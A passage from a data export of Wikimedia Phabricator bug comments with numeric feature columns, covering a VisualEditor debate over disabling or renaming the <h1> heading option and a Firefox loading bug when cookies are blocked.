Instead of messing around with the numbers and having [heading 3 = <h4>], why not rename them ""Heading"", ""Subheading"", and ""Sub-subheading"".",,,1371160398,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,20.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,1.0,7.0,14.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,4.0,2.9864864864864864,0.5945945945945946,"**ypnypn9** wrote:

(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Instead of messing around with the numbers and having [heading 3 = <h4>], why not rename them ""Heading"", ""Subheading"", and ""Sub-subheading""."
195633,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","It is unfortunate that wikitext currently allows h1 elements. It shouldn't. It should be the end aim for the visual editor to have feature parity with wikitext, but at the current point it makes it natural to select a heading 1 when you really never want to do that. I would prefer to see it not available in the visual editor at all, but as a compromise, I could live with renaming Header 1 to Pageheader, and move it all the way to the bottom of markup elements, and rename header 2 to header 1, etc. That way we don't lose an option in the visual editor that is available in wikitext, and at the same time reduce the chance of people thinking it is an option they may want to choose for a header, which it is not.

At the same time, we may want to think about abandoning the option to make h1 headers in wikitext too, but that makes for a different discussion which should take place in a different place than this bug.",,,1370004773,,PHID-USER-n27daagbl3wqf3ghr4nk,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-5,,1.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.5,5.5,15.0,0.0,4.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,4.5,1.5,4.5,0.0,0.5,0.0,0.5,0.0,1.5,0.0,0.5,0.0,3.5,0.0,1.0,0.0,0.5,0.0,13.0,1.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.5,0.0,1.5,0.0,1.0,0.0,9.0,2.5,4.5,1.0,3.0,12.5,0.0,0.0,0.0,0.0,8.5,0.0,2.0,0.0,7.5,15.0,2.0,0.0,0.0,0.0,7.5,0.0,2.0,3.5,0.0,1.5,0.0,0.0,1.0,3.811224489795918,0.6326530612244898,"It is unfortunate that wikitext currently allows h1 elements. It shouldn't. It should be the end aim for the visual editor to have feature parity with wikitext, but at the current point it makes it natural to select a heading 1 when you really never want to do that. I would prefer to see it not available in the visual editor at all, but as a compromise, I could live with renaming Header 1 to Pageheader, and move it all the way to the bottom of markup elements, and rename header 2 to header 1, etc. That way we don't lose an option in the visual editor that is available in wikitext, and at the same time reduce the chance of people thinking it is an option they may want to choose for a header, which it is not.

At the same time, we may want to think about abandoning the option to make h1 headers in wikitext too, but that makes for a different discussion which should take place in a different place than this bug."
195627,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","Does this really have much to do with the VE to begin with ? It's already allowed. I agree that such is a bad thing but that's a separate story. I guess at most, we could make the H1 option 'non visisble' unless the current element already is exactly of that type.

What would be nice, was if the VE would have more 'guided' heading building. It could warn you about inconsistencies in header levels for instance.",,,1370000141,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-5,,1.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,1.0,2.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,10.0,1.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,10.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,13.0,3.0,1.0,4.0,0.0,7.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,3.7142857142857144,0.7252747252747253,"Does this really have much to do with the VE to begin with ? It's already allowed. I agree that such is a bad thing but that's a separate story. I guess at most, we could make the H1 option 'non visisble' unless the current element already is exactly of that type.

What would be nice, was if the VE would have more 'guided' heading building. It could warn you about inconsistencies in header levels for instance."
195621,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",*** Bug 48955 has been marked as a duplicate of this bug. ***,,,1369927169,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48955 has been marked as a duplicate of this bug. ***
195616,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**rogerchrisman** wrote:

(In reply to comment #5)
> (In reply to comment #4)
> > Agree--Visual Editor should not use <h1> HTML tags for headings at all
> > because
> > MediaWiki uses <h1> HTML for page name and headings are subordinate to page
> > name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags,
> > Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor
> > should
> > simply do this correctly without editors needing to know or think about it at
> > all. Offering <h1> HTML in Visual Editor will cause confusion and misuse
> > among
> > the very people Visual Editor is designed to empower. They just want it to
> > work
> > right.
> 
> Except ""Heading 1"" is actually create-able on any wiki page (""= Foo =""), it's
> just discouraged. This is a tension between what the software /lets/ users do
> and what they /should/ do. I'm not convince that hard and fast global rules
> are
> always appropriate.

This is not about convincing anyone ""that hard and fast global rules are
always appropriate."" This is about getting it right for MediaWiki and MediaWiki users. Having ""Heading-1"" create wrong first level headings is wrong because orrect first level headings are <h2> in MediaWiki, subordinate to the page name <h1> that _is_ 'hard and fast' coded into the wiki page generator because that works well, always has, and is correct HTML. Users should not need to think about HTML at all. VisualEditor should just work right, not wrong. I know = Foo = gives <h1>Foo</h1>. That is an unfortunate wiki markup parser bug. If the VisualEditor team is too week to fix this bug by removing <h1> from the editor, they may implement ""Header-0 _deprecated_"" as <h1> (and link ""_deprecated_"" to a mediawiki.org page explaining why it is deprecated and why nevertheless included in VisualEditor). That is the obvious easy way out. However, VisualEditor has no need nor obligation to implement the deprecated and seldom used = Foo =. So remove it now and save everyone the mind drain of ""Header-0 _deprecated_"". VisualEditor is NOT an HTML editor. It is a MediaWiki page editor.",,,1366174196,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-11,,0.25,0.5,0.0,0.25,1.0,5.25,2.5,0.5,0.0,0.25,1.75,0.5,0.0,0.0,0.0,0.25,0.5,6.0,6.25,0.5,1.0,0.5,0.0,0.25,0.5,0.75,0.0,0.0,0.25,0.0,0.25,5.25,0.5,1.25,1.0,0.0,0.0,0.0,0.75,0.25,0.75,0.25,0.25,0.25,0.0,0.25,0.0,0.0,0.0,10.0,1.25,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.25,3.25,3.5,13.5,1.75,2.5,5.5,0.0,0.0,0.0,0.25,3.0,0.0,0.25,0.0,1.75,6.25,10.5,0.0,3.25,0.0,1.75,0.0,0.75,1.25,0.0,1.25,0.25,0.0,2.75,3.7310964912280697,0.6173684210526316,"**rogerchrisman** wrote:

(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is not about convincing anyone ""that hard and fast global rules are
always appropriate."" This is about getting it right for MediaWiki and MediaWiki users. Having ""Heading-1"" create wrong first level headings is wrong because orrect first level headings are <h2> in MediaWiki, subordinate to the page name <h1> that _is_ 'hard and fast' coded into the wiki page generator because that works well, always has, and is correct HTML. Users should not need to think about HTML at all. VisualEditor should just work right, not wrong. I know = Foo = gives <h1>Foo</h1>. That is an unfortunate wiki markup parser bug. If the VisualEditor team is too week to fix this bug by removing <h1> from the editor, they may implement ""Header-0 _deprecated_"" as <h1> (and link ""_deprecated_"" to a mediawiki.org page explaining why it is deprecated and why nevertheless included in VisualEditor). That is the obvious easy way out. However, VisualEditor has no need nor obligation to implement the deprecated and seldom used = Foo =. So remove it now and save everyone the mind drain of ""Header-0 _deprecated_"". VisualEditor is NOT an HTML editor. It is a MediaWiki page editor."
195613,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","(In reply to comment #4)
> Agree--Visual Editor should not use <h1> HTML tags for headings at all
> because
> MediaWiki uses <h1> HTML for page name and headings are subordinate to page
> name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags,
> Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor
> should
> simply do this correctly without editors needing to know or think about it at
> all. Offering <h1> HTML in Visual Editor will cause confusion and misuse
> among
> the very people Visual Editor is designed to empower. They just want it to
> work
> right.

Except ""Heading 1"" is actually create-able on any wiki page (""= Foo =""), it's just discouraged. This is a tension between what the software /lets/ users do and what they /should/ do. I'm not convince that hard and fast global rules are always appropriate.",,,1366153968,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-11,,1.0,0.0,0.0,0.0,1.0,8.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,20.0,1.0,2.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,3.0,5.0,14.0,0.0,4.0,0.0,3.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,3.3626373626373627,0.6263736263736264,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Except ""Heading 1"" is actually create-able on any wiki page (""= Foo =""), it's just discouraged. This is a tension between what the software /lets/ users do and what they /should/ do. I'm not convince that hard and fast global rules are always appropriate."
195609,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**rogerchrisman** wrote:

Agree--Visual Editor should not use <h1> HTML tags for headings at all because MediaWiki uses <h1> HTML for page name and headings are subordinate to page name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags, Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor should simply do this correctly without editors needing to know or think about it at all. Offering <h1> HTML in Visual Editor will cause confusion and misuse among the very people Visual Editor is designed to empower. They just want it to work right.",,,1366006598,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-11,,1.5,0.0,1.0,1.0,1.5,1.5,0.5,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,3.5,2.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,14.5,0.5,2.0,2.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.5,9.0,15.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,7.5,3.895161290322581,0.6935483870967742,"**rogerchrisman** wrote:

Agree--Visual Editor should not use <h1> HTML tags for headings at all because MediaWiki uses <h1> HTML for page name and headings are subordinate to page name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags, Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor should simply do this correctly without editors needing to know or think about it at all. Offering <h1> HTML in Visual Editor will cause confusion and misuse among the very people Visual Editor is designed to empower. They just want it to work right."
195604,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**rogerchrisman** wrote:

Agree--Visual Editor should not use <h1> HTML tags for headings at all because MediaWiki uses <h1> HTML for page name and headings are subordinate to page name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags, Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor should simply do this correctly without editors needing to know or think about it at all. Offering <h1> HTML in Visual Editor will cause confusion and misuse among the very people Visual Editor is designed to empower. They just wont it to work right.",,,1366006439,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,False,,,-11,,1.5,0.0,1.0,1.0,1.5,1.5,0.5,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,9.0,0.0,2.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,2.5,2.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,14.0,0.5,2.0,2.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.5,9.0,14.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,7.5,3.865463389656938,0.6966205837173579,"**rogerchrisman** wrote:

Agree--Visual Editor should not use <h1> HTML tags for headings at all because MediaWiki uses <h1> HTML for page name and headings are subordinate to page name. Heading-1 should create <h2> HTML tags, Heading-2 <h3> HTML tags, Heading-3 <h4> HTML tags, etc. Newcomers don't know this. Visual Editor should simply do this correctly without editors needing to know or think about it at all. Offering <h1> HTML in Visual Editor will cause confusion and misuse among the very people Visual Editor is designed to empower. They just wont it to work right."
195599,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",May want to cover content namespaces in general (but provide some way of getting them). Also to consider preventing H6s (and H5s?).,,,1360376924,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-21,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,14.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.793103448275862,0.8620689655172413,May want to cover content namespaces in general (but provide some way of getting them). Also to consider preventing H6s (and H5s?).
195595,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",*** Bug 44780 has been marked as a duplicate of this bug. ***,,,1360376842,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 44780 has been marked as a duplicate of this bug. ***
45193,VisualEditor: Firefox has issues using VE when cookies are disabled,"**Author:** `turb`

**Description:**
When cookies are disabled, VisualEditor loads indef. It would better to either 1) be able to use it without cookies (I suppose that's not possible) or 2) display an adequate error message.

Tested on Firefox 17.0.1 with Cookie Monster 1.1.0.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1355742780,1380306435.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zborcq5aeddm5rc2upgl,task_description,resolved,True,c1,1,False,False,True,-28,,0.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,16.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,6.0,10.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,3.802469135802469,0.691358024691358,"**Author:** CODE

**Description:**
When cookies are disabled, VisualEditor loads indef. It would better to either 1) be able to use it without cookies (I suppose that's not possible) or 2) display an adequate error message.

Tested on Firefox 17.0.1 with Cookie Monster 1.1.0.

--------------------------
**Version**: unspecified
**Severity**: minor"
187356,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:

(In reply to comment #7)
> Afaik the bad token handling has been solved for the save process. The load
> process no longer requires a token.
> 
> Can you confirm this now works fine?

Yes, it does work fine now, even with Cookie Monster preventing cookies to be set.",,,1380306403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,2.0,9.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0232558139534884,0.7209302325581395,"**turb** wrote:

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

Yes, it does work fine now, even with Cookie Monster preventing cookies to be set."
187350,VisualEditor: Firefox has issues using VE when cookies are disabled,"Afaik the bad token handling has been solved for the save process. The load process no longer requires a token.

Can you confirm this now works fine?",,,1380304934,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,10.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,4.0,0.8709677419354839,"Afaik the bad token handling has been solved for the save process. The load process no longer requires a token.

Can you confirm this now works fine?"
187343,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:

(In reply to comment #5)
> Does normal editing (through the old, non-visual editor) work for you on
> mediawiki.org when not whitelisted?

Yes, it works.",,,1357831603,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3846153846153846,0.7692307692307693,"**turb** wrote:

(In reply to comment #5)
QUOTE
QUOTE

Yes, it works."
187340,VisualEditor: Firefox has issues using VE when cookies are disabled,"(In reply to comment #3)
> (In reply to comment #2)
> > (In reply to comment #1)
> > > Can you confirm whether VE always fails to load with Cookie Monster and
> > > always
> > > loads successfully without Cookie Monster?
> > And could you also confirm that you're able to edit *as a logged-in user*
> > using
> > the regular non-visual editor?
> 
> I forgot to mention I was testing on VisualEditor:Test in mediawiki.org, that
> was not whitelisted in Cookie Monster. When I did whitelisted it, the page
> reloaded and VE was now working.
> 
> I just removed again mediawiki.org from whitelist, and VE now loads without
> end.
> 
Does normal editing (through the old, non-visual editor) work for you on mediawiki.org when not whitelisted?",,,1357671274,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-25,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,29.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,2.0,8.0,24.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.3333333333333335,0.47619047619047616,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Does normal editing (through the old, non-visual editor) work for you on mediawiki.org when not whitelisted?"
187338,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:

Note: after some tests, VE does work with Chrome and IE9, with totally disabled cookies.",,,1355821721,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.7777777777777778,"**turb** wrote:

Note: after some tests, VE does work with Chrome and IE9, with totally disabled cookies."
187336,VisualEditor: Firefox has issues using VE when cookies are disabled,"**turb** wrote:

(In reply to comment #2)
> (In reply to comment #1)
> > Can you confirm whether VE always fails to load with Cookie Monster and
> > always
> > loads successfully without Cookie Monster?
> And could you also confirm that you're able to edit *as a logged-in user*
> using
> the regular non-visual editor?

I forgot to mention I was testing on VisualEditor:Test in mediawiki.org, that was not whitelisted in Cookie Monster. When I did whitelisted it, the page reloaded and VE was now working.

I just removed again mediawiki.org from whitelist, and VE now loads without end.

VE do work for me in en.wikipedia.org (that is of course whitelisted). I don't know if anonymous users can contribute with cookies disabled (for the day it will be activated for them).",,,1355821184,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,1.5,1.5,1.5,1.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,4.0,0.0,5.0,10.5,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,1.5,3.5,12.0,1.5,1.5,2.0,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,6.0,10.5,7.5,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.5,1.5,0.0,0.0,1.5,3.709677419354839,0.6935483870967742,"**turb** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I forgot to mention I was testing on VisualEditor:Test in mediawiki.org, that was not whitelisted in Cookie Monster. When I did whitelisted it, the page reloaded and VE was now working.

I just removed again mediawiki.org from whitelist, and VE now loads without end.

VE do work for me in en.wikipedia.org (that is of course whitelisted). I don't know if anonymous users can contribute with cookies disabled (for the day it will be activated for them)."
187334,VisualEditor: Firefox has issues using VE when cookies are disabled,"(In reply to comment #1)
> Can you confirm whether VE always fails to load with Cookie Monster and
> always
> loads successfully without Cookie Monster?
